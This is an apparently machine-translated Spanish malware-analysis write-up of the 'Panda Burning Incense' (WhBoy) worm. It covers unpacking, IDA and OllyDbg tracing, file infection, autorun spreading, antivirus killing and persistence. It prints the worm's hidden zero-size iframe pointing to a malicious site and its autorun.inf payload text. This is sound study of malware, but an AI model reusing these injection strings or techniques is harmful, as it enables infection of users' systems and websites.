Análisis de código malicioso: Panda quemando incienso
Registre el proceso de análisis de algún código malicioso.
Descripción general de las funciones de quema de incienso Panda:
título
análisis estático
- Verificación de carcasa——FSG 2.0
- Desembalaje
1) OllyDump encuentra el OEP:
2) OllyDump realiza un volcado binario
3) ImportRCE repara la tabla de importación e importa la nueva al archivo binario en Volcado en OD
4) Vuelva a verificar el paquete: escrito por Delphi (esto debe hacerse cuando llamar a la función, usar registros para transferir parámetros de función) pero solo se reconoce un dll en la tabla de importación
5) Después de desempacar de acuerdo con el método anterior, encontrará que se informará un error al depurar el programa, lo que indica que hay un problema con el descompresión del programa Más tarde, consulte los métodos de otros amigos El blogger descubrió que resultó que se habían insertado datos basura en el IAT y que los datos debían modificarse manualmente.
6) Busque el OEP, ingrese 004049E8, luego 00404924, busque la primera dirección IAT, verifíquela en la ventana de datos y modifique los datos basura que contiene a 00000000 7) Luego regrese al OEP y use OllyDump para volcar el programa, y luego repita los primeros
pasos de las operaciones de descomprimido; cuando el programa descomprimido se verifica con PEID, se encontrará que hay muchas bibliotecas dependientes en su tabla de importación.
Análisis de la AIF
- Ejemplo de carga de IDA: IDA no reconoce todas las funciones
- Dado que el programa está escrito en Delphi, agregue la firma de Delphi a IDA.
- Mirando nuevamente la ventana de IDA, se han identificado correctamente algunas funciones:
- Primero llame a la función InitExe para la inicialización y luego llame a la función LStrAsg varias veces para copiar la cadena para la inicialización:
- Continuando hacia abajo, encontramos la primera función no reconocida sub_405250. Después del análisis, podemos ver que esta función es una función de descifrado.
Dado que los parámetros entrantes no se pueden analizar fácilmente desde IDA, vamos al siguiente párrafo aquí en IDA y luego encontramos que la Los parámetros entrantes son Los parámetros son dos cadenas y una dirección de pila. Después de procesar con esta función, se guarda otra cadena de la misma longitud en la pila.
- Cambiar el nombre de la función sub_405250
- Continuando, en 0040D60A, se llama a esta función de descifrado y a LStrCmp para comparar cadenas. El programa se está verificando aquí. Si la verificación falla, el programa finaliza.
- Continúe hacia abajo y llame a tres funciones: sub_40819C, sub_40D18C, sub_40D088. Después de llamar a estas tres funciones, toda la lógica del programa es relativamente simple y casi no hay otras llamadas a funciones, lo que significa que estas tres funciones contienen la mayor parte del código malicioso. ... funciones básicas.
- A continuación, analizamos estas tres funciones por separado.
sub_40819C
- sub_40819C —— El programa malicioso reside, crea y ejecuta la detección de la ruta de ejecución del programa y el archivo bat
1) Esta función primero realiza un bucle, realiza 132 ciclos y realiza dos operaciones push 0 cada vez, lo que debería asignar espacio de pila
2) Continuando, nosotros Encontré una función del sistema no reconocida y usé OD para realizar un análisis dinámico. Descubrimos que la función de esta función del sistema es obtener el directorio de la ruta entrante y cambiarle el nombre a SyS_GetPath_Folder en IDA.
3) Se descubre que la ruta del programa actual y un archivo Desktop.ini se unirán. Se debe acceder a este archivo o crearlo, y la ruta de este archivo se puede obtener combinando OD. 4)
Continuar , se descubre que el paso anterior se repetirá nuevamente para obtener una ruta y luego modificar sus propiedades y luego eliminar este archivo (el propósito aquí es verificar si el archivo Desktop.ini se acaba de crear y, si no, eliminarlo). ): 5) Continuando hacia abajo, encontrará que hay
una función sub_407650, el parámetro pasado por este programa es la ruta de ejecución del programa actual. La estructura ejecutada se guarda en la variable var_4. El resultado calculado aquí es "MZ". Se supone que es una función de verificación de la ruta del programa; cambie el nombre a "My_Guess_Path_Check".
6) El programa realizará un juicio en 004082E7. Si el juicio no tiene éxito, entrará en un bucle y eventualmente saltará a 004082F3, donde sub_40521C es la conversión a mayúsculas de la cadena y se le cambiará el nombre a "My_Upper_Str". 7) Marque 0040834F en la sección media e inferior de
OD La llamada de función
de Verificar, copiarse a la ruta del sistema y luego verificar si se está ejecutando en la ruta del sistema en tiempo de ejecución.
9) Si el programa no se está ejecutando en la ruta del sistema, el programa malicioso se copiará a sí mismo en la ruta del sistema, es decir, "C:\WINDOWS\SYSTEM32\DRIVERS\SPO0LSV.EXE", y luego se ejecutará. 10) Si el El programa se ejecuta en la
ruta del sistema. A continuación, eventualmente se ejecutará en la dirección 00408584:
11) Aquí, se llaman las funciones sub_407B68 y sub_405458 para analizar las dos funciones respectivamente:- Función sub_407B68 : el programa detecta el entorno del sistema y la ruta de ejecución, ejecuta el archivo bat y le cambia el nombre. My_Create_BatFile
obtiene la ruta de la carpeta temporal del sistema:
crea un archivo por lotes en la carpeta temporal:
y luego realiza la unión de cadenas:
en la carpeta temporal Encuentra el archivo por lotes en la carpeta y verlo:
- sub_405458 : la función principal de esta función es recorrer el proceso, verificar si hay un proceso spolsv.exe en ejecución y cambiarle el nombre a SyS_Check_Process_Running
12) Si el proceso del programa malicioso no se está ejecutando, vuelva a ejecutar el programa malicioso en el sistema. directorio.
- Función sub_407B68 : el programa detecta el entorno del sistema y la ruta de ejecución, ejecuta el archivo bat y le cambia el nombre. My_Create_BatFile
sub_40D18C
-
sub_40D18C - Comportamiento malicioso del programa: La función sub_40D18C del archivo que infecta el host de la víctima es el módulo funcional principal del programa malicioso. Después de esta función, se encuentra que se llaman tres funciones:
sub_40A5B0
1) La función principal de la primera función sub_40A5B0 es crear un hilo:
siga el bloque de código del hilo. El código aquí primero obtendrá el directorio del disco.
La siguiente función principal se concentra en la función sub_409348
sub_409348
Siga la función sub_409348 para su análisis. Esta función es muy compleja y debería ser el módulo funcional principal de todo el programa malicioso. El programa primero atravesará el host infectado y luego realizará diferentes operaciones según el formato del archivo: para carpetas, estará en la carpeta especificada
. Se creará el archivo DeskTop.ini y se verificará la hora de creación del archivo. Si no se generó en este momento, el archivo se eliminará.
Para diferentes archivos, se utilizan diferentes operaciones. Estos archivos se dividen en dos categorías:
1) Exe, scr, fip, com,
2) Html, asp, php, jsp, aspx. Para el primer tipo de archivos, la función sub_407F00
es llamado. Para su procesamiento, el segundo tipo de archivo llama a la función sub_4079CC para su procesamiento . Combinado con los resultados de la detección dinámica, sabemos que el programa malicioso convertirá todos los archivos ejecutables en el mismo icono, y el código aquí simplemente atravesará los archivos infectados. host. Todos los archivos, entonces esta debería ser la parte principal del comportamiento malicioso del programa malicioso. Dado que diferentes tipos de archivos llamarán a diferentes funciones, analicemos las dos funciones anteriores por separado: a) La primera es sub_407F00. Esta función primero atraviesa Verificar el archivo nombre para ver si es el programa malicioso en sí. Luego lea el archivo atravesado en la memoria. A continuación, verifique si los datos del archivo en la memoria contienen la cadena "WhBoy". Esto se utiliza para detectar si el programa ya está infectado. Si ha sido infectado no se realizarán operaciones de infección posteriores, es decir, la cadena "WhBoy" es una de las características de la infección del programa. Reemplace el programa malicioso que se está ejecutando actualmente con el archivo atravesado
A continuación, se realiza una concatenación de cadenas largas. Se concatenan un total de 6 cadenas para obtener la cadena de destino. Dado que una de las cadenas es procesada por los datos del archivo atravesado, se procesan una función del sistema y la función sub_405534.
Utilice la depuración dinámica OD para ver la cadena, ¿entre cuáles? Son 0x1h y 0x2h respectivamente, el número que se ve en la cadena debe ser el tamaño del archivo, por lo tanto la composición de este carácter es:
"WhBoy" + nombre del programa + ".exe" + 0x1h + tamaño del archivo fuente + 0x2h
Continuando, descubrimos la función principal de todo el programa malicioso, que es agregar los datos reales del archivo atravesado a la parte posterior del archivo "falso" atravesado (el archivo atravesado ha sido reemplazado por el programa malicioso en este momento). y luego empalme lo anterior. También se agrega la cadena resultante.
Resumen de la función: una vez infectados los archivos fuente del sistema, se convierten en:Programa malicioso + archivo fuente + cadena de marcador de infección
b) La siguiente es la función sub_4079CC.
La función primero guarda el archivo infectado en la memoria, luego llama a una función de descifrado para calcular las dos cadenas
y guarda la cadena en el recorrido var_8. La cadena obtenida al depurar con OD es la siguiente: Se puede encontrar que la cadena es un código de ventana HTML oculto. Suponemos que el código modificado insertará código malicioso en el archivo HTML, que puede acceder de forma encubierta a sitios maliciosos.
Continuando, el programa determinará si el archivo original ya contiene este código html malicioso para detectar si el archivo ha sido infectado, es decir, el código"</iframe src=http://www.ac86.cn/66/index.htm width=”0” height=”0”></iframe>” es la marca de infección del segundo tipo de archivo
Continuando, encontramos la parte donde se escribió código HTML malicioso en el archivo:
use la depuración OD para obtener información específica relevante, y descubrimos que el código HTML malicioso unía un carácter de nueva línea "\n" y un carácter de retorno de carro "\ r"; continuar La depuración en un solo paso puede verificar que la función en 00407A90 es una función de cálculo de longitud, porque el parámetro de esta función es el código HTML malicioso empalmado y el valor de retorno en eax después del cálculo es exactamente 0x4Ch (decimal 72 ), que es exactamente la longitud del código malicioso.
sub_40C374
Siga la segunda función sub_40C374, que configurará un temporizador para ejecutar el código en TimerFunc regularmente:
ingrese este segmento de código para su análisis. El código aquí unirá dos cadenas, una es "C:\setup.exe " y la otra es " C:\ autorun.inf"
. Si continuamos, comprobaremos si los tiempos de creación de los dos archivos son consistentes. Si los tiempos son inconsistentes, copie el programa actual a "C:\ setup.exe"; si los tiempos son consistente, comprobará si el programa actual es "C:\setup.exe".
De lo contrario, elimine "C:\setup.exe" y
luego copie el programa fuente al directorio raíz de la unidad C y cámbiele el nombre a "C:\setup.exe" "
Después de copiar el programa anterior, se verificará nuevamente la hora. Si se cumplen las condiciones, saltará a 0040C10F. Esta parte debe verificar el contenido del archivo inf. El contenido de comparación es " [AutoRun]\r\nOPEN= setup.exe\r\nshellexecute=setup.exe\r\nshell\Auto\command=setup.exe\r\n”)
Si el contenido no cumple con las condiciones, elimine la información original archivo:
y luego cree un nuevo archivo inf y escriba el contenido que acaba de usar para comparar en el archivo inf:
A continuación, establezca las propiedades de setup.exe y autorun.inf en oculto.
sub_40BACC
Luego siga la función sub_40BACC. La composición de esta función es relativamente simple. Principalmente llama a una función de generación de números aleatorios y la función sub_403C00. Siga la función sub_403C00
y descubra que esta función creará un proceso:
seguir directamente la dirección del proceso no puede encuentre información útil. , en el que una llamada de función edx se llama dinámicamente; use OD para verificar la siguiente sección. La dirección de la función es 0040BA8C: siga la dirección 0040BA8C, el código del bloque de direcciones llama a la función sub_40B864, siga la función
sub_40B864
, y descubra que la función colocará el código malicioso en Difundir a través de la intranet
sub_40D088
-
sub_40D088 - Configure el temporizador para la ejecución y residencia del programa.
Luego, analice la función sub_40D0881) Esta función llamará al temporizador varias veces para ejecutar el bloque de código:
sub_40CEE4
sub_40D040
sub_40D048
sub_407430
sub_40CC4C
sub_40C728
1) La función del primer bloque de código sub_40CEE4:
aquí El código primero llamará a la función sub_406E2C para crear un proceso. La
dirección del código del proceso primero realizará una operación de escalada de privilegios y luego repetirá la misma función de código, es decir, buscará muchos procesos en el proceso actual:
verifique los relevantes dirija los datos y descubra que estos procesos son todos procesos antivirus:
además del software antivirus, algunos procesos de administración de tareas del sistema se cierran:
es decir, los programas maliciosos cerrarán estos procesos antivirus y algunos procesos de administración de tareas. procesos para evitar que sean eliminados y detectados.
A continuación, se creará y modificará el registro para facilitar el inicio automático del programa malicioso:
2) El análisis del bloque de código sub_40D040
también creará un hilo, la dirección inicial del hilo es sub_40C9B0,
siga la dirección inicial del hilo. el hilo primero llamará a una función de descifrado sub_40C4EC, y luego llamará a la función sub_40C5E0 para usar QQ para acceder a las URL y descargar archivos del sitio especificado. Finalmente, compare los archivos en Occidente con los archivos descifrados: sub_40C5E0 usa QQ para acceder a las URL y descargar archivos 3
)
Tercer análisis funcional del bloque de código sub_40D048:
crear dos subprocesos:
El inicio del primer subproceso sub_40CC34 es la dirección de inicio del subproceso del segundo bloque de código. Aquí se realizan operaciones repetidas. El
segundo subproceso sub_40CDEC: elimina el archivo compartido del host infectado.- Utilice cmd para ejecutar el comando:
- Luego continúe ejecutando otro comando:
4) Análisis del cuarto bloque de código sub_407430:
también cree subprocesos:
cierre los servicios del sistema, procese los servicios antivirus y elimine ciertos registros
5) Las funciones del análisis del quinto bloque de código sub_40CC4C y del sexto bloque de código sub_40C728 son la combinación de las funciones de los bloques de código anteriores.
- Utilice cmd para ejecutar el comando:
-
Se completa el análisis funcional de todo el panda quemando incienso (@_@)
-
Resumen : El análisis del programa malicioso Panda Burning Incense es relativamente completo, pero aún quedan muchos detalles que no se han analizado a fondo, la razón principal es la tecnología limitada/(ㄒoㄒ)/~~ (dejando lágrimas sin tecnología) . Además, durante este proceso de análisis, debido a que IDA no reconoció las funciones básicas relevantes del lenguaje Delphi, el proceso de análisis fue muy difícil. Además de las funciones funcionales del autor, también era necesario analizar muchas funciones básicas del lenguaje Delphi. .Funciones, y estas funciones básicas son relativamente difíciles de analizar/(ㄒoㄒ)/~~ (Dejando lágrimas sin tecnología otra vez).
Link de referencia
Durante el proceso de análisis, consulté los blogs de los siguientes amigos:
Enlace de referencia 1
Enlace de referencia 2
Enlace de referencia 3